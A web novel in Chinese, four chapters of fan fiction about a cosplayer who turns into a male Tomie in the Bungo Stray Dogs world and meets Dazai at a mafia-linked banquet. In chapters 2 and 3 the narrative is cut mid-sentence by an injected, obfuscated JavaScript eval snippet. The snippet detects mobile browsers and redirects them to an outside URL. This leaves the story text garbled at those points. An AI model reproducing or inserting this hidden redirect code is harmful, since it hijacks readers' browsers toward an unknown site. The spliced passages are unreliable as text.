《COS富江后在横滨苟命》 1. 第 1 章 漫展的男厕所。 “别动。” 室友的一句话令宫水富江站在原地，并乖乖的让对方在自己的脸上涂抹着什么，直至对方用和笔一样的东西在他的左眼下方轻轻一点后才收手。 对方小心翼翼地捧着他的脸颊，左右轻轻摆动，在打量了他几眼后露出满意的笑容，“果然不愧是我，不成为妆娘的后期不是好COSER！” 宫水富江很难不吐槽对方的这句话，“你们这群当COSER的未免也太多才多艺了吧？” 室友一听顿时泪水涌上心头，“你以为我想吗？可是当你遇到一个不负责、水平菜且巨贵的妆娘，一个P图技术垃圾、等待时间遥遥无期的后期，你就会明白我为什么会这么多了！” “更恐怖的是，我现在已经在考虑尝试当毛娘和COS道具师了！” 宫水富江无话可说，因为对方听起来是真的命很苦。 室友也不管宫水富江的反应，继续对他用羡慕的语气道，“你就幸运多了，第一次出COS就遇到了我这么一个负责的好室友，全程免费。” ……虽然也是你拉他来COS的就是了。 宫水富江面无表情想。 “而且更凑巧的是，你的名字和富江重了！这不出COS实在是太可惜了！”室友兴奋起来，很快语气失落，“就是不愿意女装让我有点伤心。” 听到这句话，宫水富江终于不愿意继续保持沉默了，他反驳，“女装是不可能女装的！这辈子都不可能的！” “嘿嘿嘿，是这样吗？”室友诡异一笑，“你要知道立flag是件很危险的事情！坐等你的打脸时刻嘿嘿嘿……” 宫水富江：“……” 就不该多嘴！ 作为一个非传统的社恐吐槽役宅男，宫水富江并不爱追番，而是更喜欢看小说和刷短视频。 不过，富江这个角色的名声是破圈级别的，因此当室友以‘名字一样不COS太可惜’的理由来拉他出COS的时候，宫水富江是拒绝的。但奈何对方坚持不懈，被缠得没有办法的宫水富江选择妥协，唯一的要求就是不女装。 于是，室友就给他来了个川上富江·性转版。 “其实我觉得你今天应该会被很多人集邮。”室友再次打量起面前的宫水富江，“虽然是性转版，但是你的妆画完后富江的特征实在是太明显了，特别是露出那种不屑的表情对对对就是这样……” 不，他这个是嫌弃的目光！ 宫水富江边想边说出自己的真实想法，“我不想和陌生人接触……” 室友显然也没有多意外，“你还真是社恐。如果不是我把你拉出来，半年都主动出不了一次门……” 他想到了什么，有凝重的语气询问，“你将来真的能谈恋爱吗？理想型是什么样的？实在不行我帮你找找主动拉线吧，我认识不少人。” 宫水富江一时之间不知道该高兴对方的心意，还是无语对方想得太远。 他犹豫回答，“嘛……总之是个愿意让我宅一辈子的人吧？” 作为合格的社恐，他最大的愿望就是能居家工作，不用外出社交。 室友表情莫名多了丝庄重，对方拍打了下他的肩膀，“我会找个好人家把你嫁出去的，当个家庭煮夫也不错。” 宫水富江无语地看着面前的人，随后叹了口气。 即使再嫌弃又能怎么办？作为室友兼义父的他还不是只能把对方原谅。 不想再聊这种奇怪话题的宫水富江试图转移对方的注意力，他看向室友的沙色风衣和绷带开口，“虽然我没有看过，但是你COS的这个好像是叫太宰治……对吧？” 同样也是破圈级别的角色，宫水富江刷短视频的时候也遇到过。 好像是什么三次文豪在二次弃文从武的故事，再具体点就不清楚了。 室友伸出大拇指笑道，“对对对，就是那个会为了友人跳槽当好人的、神一样的好孩子、触碰到棉花糖都会受伤的烫男人——太宰治！” 不清楚室友在玩梗的宫水富江轻轻蹙眉，他感觉有哪里不太对。 可是转念一想，对方才是那个比他更了解的人，最终没有说什么。 室友见状趁机将日式传统立领黑色校服的COS服递给对方，推着对方进入厕所隔间，“你也快点去换衣服吧，等会儿人多可就没有空位给你换了！” “哦，对了……你把原著看完了没有？最好是全台词都能背下来的那种程度！” 宫水富江打开厕所隔间的门，无语回头，“看了，但是谁会把全台词都背下来啊？又没什么意义……” 而且他看原著也只是因为对方说需要更加深入地了解角色，所以才去看的，但宫水富江怀疑这是室友想要拉自己进入这个圈子的小把戏。 说完他准备关上门，可在关上之前，他听到他的室友又开口，于是手一顿。 结果对方道，“谁说没意义？！我可是为了你好！要知道现在我们圈子可流行COS穿了！要是你穿了……” 穿什么穿？大家已经不是中二病的年纪了。 宫水富江毫不留情地‘啪’的一声关上门，默默换上衣服。 * 穿了。 宫水富江崩溃的低头看向厕所的洗手池，脑子里只浮现这两个字，并在后面添加上一句——甚至没有任何系统。 天知道他在半个小时前从厕所隔间出来发现厕所内的景色变换的时候，内心有多茫然。在观察了一会儿后，他不得不承认一件事——他穿到了另一个厕所。而在这句话的背后深意，就是他可能换了个世界。 意识到这件事，宫水富江的第一反应就是：如果还能回去，他一定要狠狠让他的义子感受义父的伟大——让对方闭上嘴！ 看了那么多小说，宫水富江深知穿越首先想到的不是什么快乐未来，而是黑户问题、经济来源等一系列必须面对的残酷现实。 他本该是二十一世纪优秀且衣食无忧的三好青年，现在却因为穿越被迫面对未知的世界……这对他这个社恐也太不友好了吧喂！ 思索至此，宫水富江开始尝试返回的可能，可在通过反复进出刚刚的厕所隔间，他看清了现实……那就是他完全回不去！ 于是，这就是他现在沮丧着头盯着洗手池的原因。 既然回去已经行不通，宫水富江现在能做的事情就只有一样——搞清楚自己现在的状况。 但是在那之前，宫水富江还有一件事情要做。 他抬起头，观察洗手池前镜中的自己。 白皙且如牛奶光滑的皮肤，如宝石般拥有光泽的黑色短发，发丝末尾还微微弯曲翘起，但作为富江外貌上最显著的特征是左眼下方的泪痣。 宫水富江伸出手指卷起了一缕发丝，它们像是柔顺的菟丝子乖巧地附着在手指骨节上，下一刻手指的主人狠心一拽，疼痛牵扯着头皮出现。 宫水富江：“……” 意识到什么的宫水富江放下那缕发丝，转而用那根手指的指腹轻触左眼眼角被室友画出来的泪痣，紧接着开始疯狂摩擦。 直至那处皮肤被粗暴的动作折磨得泛红，宫水富江都没有看见泪痣有任何花掉的迹象。 总不可能是室友的化妆品很牛逼吧？！如果真是那样，早就被卖爆了！ 由此宫水富江只得出了一个结论，川上富江·性转版的壳子现在牢牢固定在他身上了。 宫水富江再次沮丧地低头。 他的妈生皮啊！即使比不上川上富江，但他也没想过要换个！ 在短暂的失落后，宫水富江不得不进行最初定下的目标。 他来到厕所门口，站定。然后用目光看向外面的环境，打量。 如果没有穿，那么正常情况外面应该是漫展内部，可现在宫水富江所看见的是外界环境。 也就是说，这个厕所应该是某个公共厕所。 做出推测的宫水富江深吸了一口气，意识到这里是哪里后，做了一半的动作顿住并将刚刚吸入的空气悄悄吐掉。 很好，他现在需要走出去，获得更为准确的信息，并思考怎么解决因为突然穿越导致的黑户问题。 嗯，他现在就要出去了 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很快他又想，就算如此退一步说，就不能莫名其妙来个好心人带他去吃东西吗？然后顺便解决他目前遭遇的所有问题！ “你……需要帮助吗？” 就在宫水富江思考死了能不能回去的时候，上天似乎终于开始怜悯他，他听到有人和他搭话询问他的需求。 按照他的性格来说，这个时候应该无视然后默默离开原地。可是想了想自己挨饿的胃，宫水富江觉得自己也不是不能忍一下下。这个时候，他突然羡慕起室友的性格。 社牛真的可以解决很多需要沟通出现的问题。 这么想着，宫水富江看向脚边回应刚刚向他搭话的人，低声道，“是的……我需要帮助。” “我现在饿了，所以如果可以的话……”宫水富江越说声音越低，他也没有办法，不得不向人要食物对他这位大学生社恐来说有些难以启齿，甚至是个巨大挑战。 可好在对方似乎很善解人意，“原来是这样，我差点误会了……” 宫水富江低着头，眼里却满是困惑。 误会什么了？ 可是不等他想出个答案，对方又继续道，“既然只是饿了，不如去我家怎么样？” “啊，我叫松下幸之助。”对方像是担心误会，解释道，“虽然这么说有些自卖自夸，但是我其实还算是个有名的企业家。家里的生意与机械有关，所以还算有钱。如果你去查，也能查到，完全不用担心我对你不利。因此，请你吃一顿饭的能力还是有的……” 宫水富江大为震惊，刚刚还觉得自己倒霉，现在又来个好心人…… 莫非他穿到异世界的金手指其实是幸运值满值？ 宫水富江没有错过这个机会的打算，他有些不好意思道，“谢、谢谢你。” 等到离开后，他看看能不能在地上捡钱去买彩票吧。如果中奖了，他就找这个人把对方请吃饭的钱还上。 果然，这个世界还是好心人多！ 宫水富江有些庆幸。 “不用客气……说起来，还没有询问你的名字呢？” 随着对方的话语落下，宫水富江终于抬起头。他看了一眼面前的人，这才发现这位好心人西装革履，看起来就是位事业有成的中年人。 看清楚后他不再过多打量，而是回答了对方刚刚的问题。 ** 中年男人目光凝视着面前的人，从见到对方的身影开始，他的眼神就无法移开。 在保持着形象过来搭话后，他看到少年眼角泛红，而那双仿佛下一刻就要垂泪的黑眸带着希冀的目光看向他，令他身心获得了极大的满足感。在通过对话表现出自己乐于助人的形象后，中年男人终于获得了能知道对方名字的荣誉。 黑发少年那张宛如玫瑰般鲜嫩欲滴的红唇微张，下一刻和对方整个人一样充斥着若有若无魅惑的声音响起。 “我吗？” “我叫Tomie（富江）。”① 2. 第 2 章 傍晚，港口Mafia总部大厦。 一位黑发青年带着几个身穿黑色西装的部下从门口处出来，随后上了一辆加长豪车。似乎是忌惮上司的威严，在上了车后，两名部下完全不敢说话，仔细查看甚至能够看到他们额头处不断冒出的细小汗滴。 “啊……这也太无聊了吧？” 终于在行驶了一段时间后，安静沉闷到仿佛空气都不流通的车内，一道略显低哑又带着磁性的男声打破了氛围。 可是在场的其余人不仅没有松了口气，反而更加提心吊胆起来。 不是因为别的，只是因为现在坐在他们面前的上司太宰治与常人完全不同。 工作途中翘班、入水频率高到几乎每天都要打捞、经常被命令做一些无关紧要的小事……但这些还不算什么。 作为下属，听太宰大人的吩咐办事，会被评价为‘没有想法的家伙’、‘愚蠢但也算能勉强使用’。不听太宰大人的命令做事，又会被评价为‘擅自破坏计划’、‘废物’。 总之，现在他们面对太宰治都有点PTSD。 更别提对方那句‘无聊’，仿佛是某种搞事的预告函。 “不过说起来，首领这次让我出门是要做什么来着？” 幸好对方似乎并未在意他们的反应，而是询问起了此次出行的目的。 不知道就出门了吗？！ 虽然这么想，但是作为部下的他完全不敢对着上司说出这句话，只能在心里嘀咕的同时讪讪回答，“是出席一场宴会。” 部下抬起头，这才他发现穿着同款黑色西装、头发如棉花糖般蓬松的黑发青年随意地将右腿架在左腿上，身体微微后仰，单手撑着脸颊，而被绷带缠绕到仅露出来的左眼正深邃地盯着他看。 即使不想承认，但是有一些是事实。 对方完全是人生赢家的类型，不仅是天生的上位者，还拥有精致的面容。 这也就导致，哪怕是相同的服装，穿在对方身上和在别人身上完全是不同的感觉。 “宴会？” 太宰治不知道部下在想些什么，又或者说即使知道了，他也只会对他们再多出个‘肤浅’的评价。 “是港口Mafia的合作企业YMC举办的宴会。”对上司的敬畏让这位部下低头，视线看向自己的脚边，“组织与YMC的合作即将到期，这次参与宴会也是为了找机会续签。” 他兢兢业业地说出这次他们过来参加的目的。 Yokohama Machinerypany，简称YMC。 表面上是从事建筑工程等所需技术装备的研发制造，暗地里却是从事热武器走私生意。而作为最需要热武器的港口Mafia则是和YMC保持了很多年的合作，甚至长达可以追溯到先代首领的时期。 “原来如此，合作的续签啊……”太宰治明白了首领让他过来的原因。 论合作签约，确实没有比他更合适的对象。 要知道在港口Mafia前两年最缺钱困难的时期，他可是掌握宝石线为组织提供了三分之一流水的存在。 可是—— “早知道就翘班了，和别人谈合作还不如去尝试新的自|杀方法来得有趣。”太宰治侧头看向车窗外表情恹恹，嘴角下撇。 加入港口Mafia是为了近距离接触死亡和暴力寻找活着的理由，可是两年过去，他始终没有找到。 而现在，即将成为港口Mafia最年轻干部的他有些厌倦这样的生活了。 太宰治注视着窗外不断倒退的景色，轻轻抿唇。 就没有吗？宛如强心剂般让他感受到自己还活着的事物。 ——什么都行。 * YMC举办宴会的地点处于横滨郊区的某栋别墅，太宰治所乘坐的黑色加长豪车出现在那里并不突兀，毕竟能参与这场宴会的成员都不是什么简单的身份。而且按照车子的数量来看，他们甚至算来得晚的。 车停下后，太宰治没有立即行动，而是安静地看自己的部下们先下车。按照礼仪，低位者需要主动为高位者开关车门。 然而车门打开后，太宰治看见的却并不是自己的部下。 他微微抬眸看向面前的穿着燕尾服西装的中年男人，见对方恭敬弯腰对他开口，“在下是松下老爷的管家，他特意安排我来亲自接待太宰先生。” 太宰治熟练地露出堪称完美的微笑，“没有想到松下先生这么看重我们。” 管家回答，“您说笑了，老爷一直都看重太宰先生。” 说完，管家伸出手示意对方跟在他身后，“宴会很快就要开始了，请太宰先生跟随我来。” 太宰治笑而不语，携带两名部下漫步跟随在对方身后。 路上，管家时不时介绍一些风景和植物。 太宰治注意到了前院中明显被刚植入、还盛开着的鲜花。 作为优秀的管家，他仔细地察觉到了身后之人的目光。 他停下脚步，保持微笑为对方解释，“这是红色彼岸花。最近老爷很喜欢这种花，为此我们特意挑选了最好的品种通过空运运输到这里，就连土壤也是从最适合种植它的地方转移过来的。” 红色彼岸花…… “看得出来是精心培育的成果。”太宰治随口夸赞了一句。 “如果老爷知道您的夸赞，想必会很开心。”管家笑了笑。 接下来的时间，管家继续原来的行程直至来到别墅内。 别墅内金碧辉煌，觥筹交错。 参加宴会的人都换上了名贵的服饰，大多在三三两两结伴而行或是相互交谈。 在港口Mafia的这两年，太宰治对于这样的场景几乎都要看腻了。 他无趣地撇开目光，不再过多打量，而是跟随管家的步伐来到了一个正在与别人交谈的中年男人面前。 管家恭敬弯腰，“老爷，这位是森式株式会社的代表人太宰治。” 港口Mafia的名声虽然在横滨无人不知，但是作为一个合法的Mafia，他们明面上对外注册的公司名叫做森式株式会社，这样一来在很多方面也能省下很多麻烦。 听到管家的话语，中年男人……也就是松下幸之助立即做出抱歉的模样对刚刚还交谈的人告了别，转而看向太宰治这里。 太宰治也顺势打量起面前的中年男人，虽然YMC与港口Mafia的合作长达多年，但他也是第一次与对方见面。 不得不说，即使有些年长，可在形象方面完全不比正经起来的森鸥外差。 “这还真是——”松下幸之助朝太宰治多走了两步，以此来展现自己热情好客的态度，“虽然之前就有所听闻了，但是没有想到贵社最有希望成为下一任干部的太宰先生居然如此年轻。” “我的儿子佑太和你相比起来就要差多了，做事还生涩得很。果然是年少有为啊！哈哈哈！” “父亲说得是。” 一道声音从松下幸之助的身后响起，太宰治这才发现在对方身后跟随的年轻人就是对方的儿子。 对方脸上的微笑与其父亲的热情相比要淡漠，但不失亲切。举止也符合礼仪，面对太宰治的视线也能做到冷静自若。也或许是因为现在太宰治的目光没有带上侵略性。但无论怎么说，这位从外表上都称得上一表人才。 看起来是个能够接替父亲的合格继承人。 太宰治不动声色地想，同时开口，“承蒙夸赞，松下先生的儿子看起来也不差，或许他只是需要一些历练。” 紧接着他继续道，“其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509457|170551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 森先生很想亲自过来参加这场宴会，但很可惜与其他行程有所冲突，所以只能安排我来参加……” 松下幸之助没多在意，只是随意笑道，“没关系，我知道你们的来意。而且这次续签的事情我原本是想另找一天来做安排的，顺便带着我的儿子增长经验，但没有想到你们居然会特意来参加这场宴会。” 太宰治轻微抬眸。 松下幸之助还想说点什么，可刚巧这个时候有别人上前与他进行交谈。作为本次宴会的举办人，他不能无视对方不管。 “抱歉，太宰先生。我……” 太宰治贴心地做出理解的神情，“不用这样，松下先生。” 松下幸之助很快带着儿子离开，太宰治见状随手拿起一杯香槟便直接来到大厅的角落位置。 原本的微笑已然消失，他神情冷淡地看向远处不断与客人说着什么的松下幸之助和其身边的松下佑太，询问身后的部下，“之前没有询问过，对方举办这次宴会的目的是什么？” 其中一名部下回答，“邀请函上写的是介绍养子并举办成人仪式。” 太宰治好奇起来，“养子？” 而且还是刚刚成年的那种？ 他看向大厅中热闹非凡的两人，明明从刚刚的对话听来两人之间的关系并不差，那对方收养的这个养子就显得很有意思了。 对于普通人家来说，收养孩子也许只是善良的表现。但对于松下幸之助和对方身后的企业来说，收养孩子显然不正常。 也就是说…… 太宰治做出一种推测，是为了给身为他儿子兼继承人的松下佑太制造危机感吗？ 这也算得上是让人快速成长起来的有效且常见手段，就像森鸥外拿干部职位刺|激他与某个蛞蝓相互竞争一样，所以他即将成为港口Mafia有史以来最年轻的干部。 太宰治垂眸抿了一口香槟想。 倏地，整个大厅黑了下来，连带着原本吵闹的空间都变安静。 但没几秒，一道光束照射在正站在楼梯口、几个台阶之上的松下幸之助身上。 松下幸之助低头看向台阶之下的众人开口，“感谢大家今日特地来参与这次宴会，我想原因大家已经通过邀请函知道了。没错，这次宴会的目的就是向大家介绍我的养子宫水富江，并庆祝他十八岁生日。” 讲完，他抬头看向楼梯上方黑暗处，用着与刚刚客套完全不同的温柔语气道，“下来吧，富江。” 太宰治双眸微眯，盯着松下幸之助看。 显然，人群之中也有不少因察觉到了松下幸之助态度微妙转化而看向对方的敏锐之人。 可随着另一道光出现，太宰治耳尖地听到了人群之中不断有人发出了倒吸之声。凭借着微弱的灯光，他注意到周围的人都目不转睛地盯着某处，更有甚者都瞪大了双眸和嘴巴。 虽然表现形式或多或少有所不同，但无一例外的是，这些人都作出了痴态。 太宰治下意识顺着这些人的目光看向了那台阶之上、灯光汇集之处，赫然是两个身影。 一个是刚刚在松下幸之助身后见过的松下佑太，但他知道这个人绝对不是引起这种反应的存在。也就是说，是对方身旁的另一个人…… 太宰治视线移动，下一刻，眼眸微睁。 发尾微微翘起的黑色发丝，光滑白皙的皮肤，以及那双空洞到似乎能将人心吸走的黑眸。 尽管松下幸之助表示今天是对方十八岁成年的生日，可是对方无论怎么看都像个少年。 而且不可否认的是，看到对方的瞬间，太宰治想起了别墅前院的那些花。 明明身上没有任何与红色有关的元素，却莫名令人觉得对方是在黑暗中盛开的、宛如用鲜血精心浇灌培育的红色彼岸花——充满魔力。 3. 第 3 章 被灯光罩住的那一刻，宫水富江觉得没有比现在更想逃离地球的时候了。 他看似目不斜视、镇定自若地微笑，可实际上人已经走了好一会儿了。 天知道对于一个社恐来说，出现在这种被万众瞩目的现场有多么令人恐怖！恐怖到了他现在仿佛已经得了一种叫作‘被大众注视就会死掉’的病。 宫水富江都能感觉到自己的瞳孔在不断颤动，眼前甚至开始隐隐发黑。 “富江，如果感到紧张，你可以牵住我的手。” 就在这时，宫水富江的耳边传来一道极为温柔的音色。 他知道说话的人是谁，能在这场宴会上陪在他身边的除了松下幸之助外，就只有对方的儿子松下佑太。 可是宫水富江却忍不住颤抖，他僵硬地侧过去，缓慢地抬起头。 只见原本在大众面前表现出温柔谦逊的松下佑太此刻垂眸看向他的眼神中，却带着其他人发现不了的痴迷。 宫水富江立即低下头，低声道，“谢、谢谢，但是……不用了。” “是吗？那还真是可惜。” 对方的语气明显失落，宫水富江只好轻轻撇过了头。 “富江？” 下方的松下幸之助再次呼喊起了宫水富江的名字，宫水富江看过去，但可惜距离太远，他看不清松下幸之助的表情。 不过他大概猜得出来对方的意思——对方在疑惑他们为何一直没有走下来，毕竟他和松下佑太在二楼楼梯口停留的时间实在是有点久了。 宫水富江知道自己不得不下去，但好在松下佑太刚刚的打岔确实有效缓解了他之前的紧张情绪。 于是，在深呼吸了一口气后，宫水富江鼓足勇气迈出脚步，缓慢朝下走去。 按理来说，人类的眼睛没有反光膜，无法像猫、狗等动物那样在黑暗中发光。 可是宫水富江看向下方的时候，仿佛看到了在黑暗中因紧盯猎物而双眼发出绿光的狼群，令人不寒而栗。 正常的人群是不会这样的，但宫水富江知道为什么，而这一切都要从两周前遇到松下幸之助开始说起。 当时刚COS穿的他万念俱灰，而后遇到了松下幸之助以为幸运是他的金手指，于是面对对方的邀请他轻率地答应了，谁知道那才是地狱生活的开始。 刚开始对方表现得还挺正常的，安排他的吃住。 后来对方就开始送一些珍贵礼物，到这里还算正常，宫水富江发现不对劲是因为几天后认识了对方刚外出回来的儿子松下佑太。 对方刚上门的时候怒气冲冲，但是在看见他后整个人就变了一副态度，后来才从对方的口中知道，对方凭借着那几天的细心观察发现了父亲出行和流水支出的不正常，以为对方是在外面包|养了别人。 宫水富江最初知道还有点哭笑不得，可是随着父子两人之间因为他逐渐变得的针锋相对还要让他当养子后，宫水富江再怎么迟钝都该发现不对劲了。 他后知后觉，原来曾经室友口中的COS穿不只是简单的穿越，而是带着角色特征buff的穿越。 就在那个时候，宫水富江猛然意识到一件事。 虽说COS的是性转版，但本质上依然是川上富江。而只要提到川上富江，就会想到对方身上那男女老少通吃的美貌和那些人被魅惑后对其产生的强烈感情——爱与恨。 因为被魅惑，所以着迷。又因为着迷，所以爱。但最终又因为求而不得，所以生恨。 爱与恨混合，那些被川上富江魅惑的人会随着时间的推移，从听对方命令转变为将其杀死与肢解，而死去的富江能再生，被肢解的富江则是会繁殖成新的富江。 富江富江富江…… 他当时看了富江系列后，发现当时的背景里，富江已经充斥到了世界的每个角落，即将上演、……不，应该是已经上演成富江入侵地球的恐怖故事。 宫水富江当时看的时候还有闲心的思考和评价，觉得川上富江像是需要通过诱惑他人杀死并肢解自己来完成繁殖分裂的新外来物种，就是这种方式太克系了点。 可是现在轮到自己成为了富江…… 你以为他天生不爱笑吗？他只是笑不出来罢了。 宫水富江在猜测父子两人受到了富江体质影响后，整个人颓靡到不行。目前能够确定的除了那美貌外，还有被魅惑后的爱欲。 他在看番的时候思考过，也许恨是因为求而不得以及川上富江本身的性格所以出现的。虽然没法确认，但现在为了防止自己被杀害和肢解，宫水富江在面对松下幸之助和松下佑太的时候都装作什么都不知道的样子对待两个人。 先不说他敢不敢死，反正他是不想和那个川上富江一样被杀死和肢解，然后分裂更多的富江！ ——他是个人，不是川上富江那种怪物。 有些东西一旦失去底线，就会变得糟糕起来。 因此，在明白自己现在简单的处境后，他的目标不再是简单地找工作养自己，而是——苟命！ “刚刚发生什么了吗，富江？” 松下幸之助的声音拉回了宫水富江的思绪，他抬眸这才发现自己已经不知不觉走到了对方身边。 宫水富江勉强勾勒出一道笑容，刚准备说点什么敷衍过去，他就感受到身后有道身影靠近。 “并没有发生什么事情，我只是和富江简单聊了几句……” 是松下佑太，对方一直跟在他的身旁，直至他的父亲凑上来他才走上前。 松下幸之助眯着眼睛看了几秒自己面不改色的儿子，随后像是什么都没发生般转头看向客人们。 在边上旁观的宫水富江差点憋气到呼吸不过来，他生怕松下幸之助突然在这个时候与松下佑太对上。 可幸好两人之间的对话声音小到只有他能听见，而且松下幸之助还是保持着理智知道不能乱来。 这至少说明他的努力——没有和川上富江那样随意挥霍被迷惑的人的感情——是没有白费的吧！ 接下来的事情就变得简单多了。 宫水富江在宴会开始前就已经预习过有什么步骤且自己要做什么事，所以在简短地进行自我介绍后，便跟在松下父子两人身边见了一些客人。 虽然作为记忆力堪比患上阿尔茨海默病老年人的他没怎么记住那些人的背景和名字，但至少没被人发现他的心不在焉。 可是再怎么样，宫水富江也觉得自己快到了接近极限的时候。 还没有结束吗？ 宫水富江走神思考着这个问题。 “……这位就是松下先生的养子？” 耳边倏地传来一道略微低沉的声音。 有点好听……话说音色听起来比前面的几个要年轻不少。 宫水富江低垂着头不动默默想着，反正在他前面还有松下父子两个人给他挡着，他只需要点头摇头，然后偶尔进行简单的回复就行。 “没错哈哈哈。” 是的，就是这样。 宫水富江听到了松下幸之助的回答。 “不过还是有点好奇……既然已经是养子，为什么还是姓宫水，而不是松下？”对方出声询问。 那当然是因为他不想改变自己的姓名！ 宫水富江在心里回答对方的问题。 “我询问过对方的意见，对方并不愿意和我改成同一个姓氏……有点可惜。”话语里带着莫名的、真心实意的可惜。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509458|170551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我倒是觉得没有改成同一个姓氏很好，不情不愿和另一个人用相同的姓氏和心甘情愿地用，完全是两种意思吧。”另一个人若有所指的回答。 宫水富江骤然发觉松下父子两个人又突然不对付起来了，明明前面和那几个人聊天的时候还表现得相亲相爱来着。 而且松下佑太说得虽然有道理，但感觉很奇怪…… 宫水富江轻蹙眉头，对此表示不理解。 “啊，抱歉……犬子还是有些年轻气盛，喜欢和我对着来。” “没事。”对方的声音听不出来什么特别的情绪，“倒不如说，对方这么在意富江想法的行为很好，想必两个人的关系一定不会比亲兄弟差。” 对方的话语不知道哪里愉悦到了松下幸之助，“那就借您吉言了，希望他们两个兄弟之间的关系会很好。” “太宰先生。” 宫水富江原本盯着脚边发呆的动作在听到松下幸之助喊出的名字后一顿，他有些不可思议地抬起头来看向之前没有在意的人。 * 很不对劲。 在松下幸之助携带着松下佑太和那位养子过来与他见面后，太宰治便立即发觉了三人之间奇怪的波动。 紧接着在简单的几句话后，太宰治不仅肯定了这一点还确定了一件事——松下父子两个人似乎对这位养子产生了迷恋。 不过也不是不能理解。当人的物质追求获得满足后，就会下意识进行精神追求。 而他面前这位明显心不在焉、外表近似少年的养子刚好拥有着无人能及的美貌。 说实话在太宰治看来，原本无聊的宴会在发现这一点后也增添了乐趣。 比如他就很好奇，松下父子两个人最后究竟是谁能获得这位美人。 就当太宰治好奇变多了点后，他开始试图搞事，具体表现在进行微不足道却能够留痕迹的挑拨。 于是，在他表示松下佑太和那位养子会成为好兄弟后，他成功获得了松下幸之助的赞同和松下佑太的不满。 本以为后面他只需要围观三人之间的事情发展就可以了，却没有想到当事人突然产生了出乎预料的行动——那位养子在松下幸之助喊出他名字的下一刻抬起头看向他。 原本略显空洞的目光在看到他后瞬间从无神转变为有神，连带着神情变化都十分明显——刻板的微笑变得真实，以至于那张绝美且精致的脸表露出了主人期待的心情。 对方变化明显在告诉他对方认识他。 太宰治双眸微眯，鸢眸渐暗。 “太宰先生……是太宰治吗？” 对方似乎想要确认着什么，发出疑问。 当听到声音，太宰治才发现原来不仅是脸，就连对方声音也带着某种似有似无的诱惑。 他保持微笑，“我是太宰治。” 在获得他肯定的回答后，对方似乎更加兴奋了，可是很快又露出为难的神情。 太宰治不动声色地注视着面前这位养子，只见对方似乎在心里挣扎了一下，然后快步来到松下幸之助的身旁低声说着什么。 以太宰治的距离，只要对方有意克制音量，除了松下父子两人，他是完全听不清楚对方话语的，实际上现场情况也是如此。 太宰治轻轻注视着这幅画面，不动声色的抿了一口手上的香槟，他现在有点好奇对方在说什么。 可是很快，他就不这么想了。 只见那位养子在与松下父子两人说完后，松下父子两人的脸色倏地发出微妙的变化，随后两人同时看向他对他发出了凝视。 太宰治：“……？” 虽然他确实觉得三人之间的关系有点意思，但这不代表他想要参与其中。 4. 第 4 章 对于宫水富江来说，听到‘太宰先生’算得上意外。 在刚穿来没几天的时候，宫水富江也曾思考过这个世界是不是他COS的川上富江所在的伊藤润二世界。 为了证明这一点，他上网搜索过伊藤润二世界里出现过的十字路口占卜的小镇传言。 好消息：他没有搜到，这里不是遍地掉san值的伊藤润二世界。 坏消息：他对这个世界依然没有思绪。 可现在—— 宫水富江抬起头看向那位‘太宰先生’。 黑色微卷发丝、鸢眸以及那作为特征来说十分显眼的绷带。 绝对不会有错…… 虽然对方穿着的不是沙色风衣而是黑色西装，面容上也与自己的室友不一样，可是宫水富江还是一眼就认出来了。 ——这分明就是他室友COS的太宰治！ 宫水富江开始回忆两周前漫展上室友所说过的话，他记得对方说…… 太宰治似乎是个好人，还是那种心思敏感却好得不像人一样的好人。 他内心捏拳肯定，可能多少和室友原话有点误差，但是宫水富江觉得应该差不了多少。 最后总结一下就是，他没有穿到伊藤润二世界，但是穿到了三次文豪在二次弃文从武的世界。 宫水富江：…… 宫水富江强烈怀疑当时该COS穿的人错了，明明怎么看都是他室友COS的角色与这个世界匹配度更高。 虽然这么想，可是到现在这个地步，比起谁该穿，宫水富江更在意对方的存在。 他看向太宰治，而身形明显还比较青涩的青年也在他说出对方的全名后看向他。 鸢眸黯淡，黑色西装，整个人还带着疏离却又礼貌的微笑。 可哪怕绷带缠绕，也不难看出精致的面孔。 以至于宫水富江的第一反应是：这就是主线角色吗？确实有能烫出圈的颜值。 很快，宫水富江终于注意到了更重要的一点：对方好像对富江体质毫无感觉！ 既不像松下幸之助那样主动搭讪，也不像松下佑太那样看见他就变脸。 尽管眼眸里的神色因为背光有些看不清晰，但对方从始至终表现出来的都是对待陌生人的态度。 意识到这点后，宫水富江的脑子里突然出现了大胆的想法——也许跟在对方身边他就不用再担心自己的性命安危了。 可是想要达成苟命这个目的，他就必须找机会主动与对方接触，然后刷对方的好感。 ……有点违背他作为社恐的本能了。 但话又说回来了—— 想了想富江系列的内容，宫水富江又觉得人偶尔也得学会挑战一下自己的极限，突破自我。 于是，在小小的纠结后他鼓足勇气后——询问松下幸之助什么时候还会与太宰治接触。 原谅他，这是他所能想到的最好的方法了。 对方说，“……太宰先生与我们是合作关系，刚好最近有合同即将到期，我准备与对方约好下周重新签订合同。” 宫水富江忽略了松下幸之助那微妙的停顿，心思全放在了对方后面说的那句话上。 他下意识看向太宰治，没有想到居然那么快就有了机会。 然而在他看不见的视角里，松下父子两人却像是吃了什么不该吃的东西，脸色骤然发黑，目光阴鸷地看向了刚刚宫水富江嘴里提到的黑发青年。 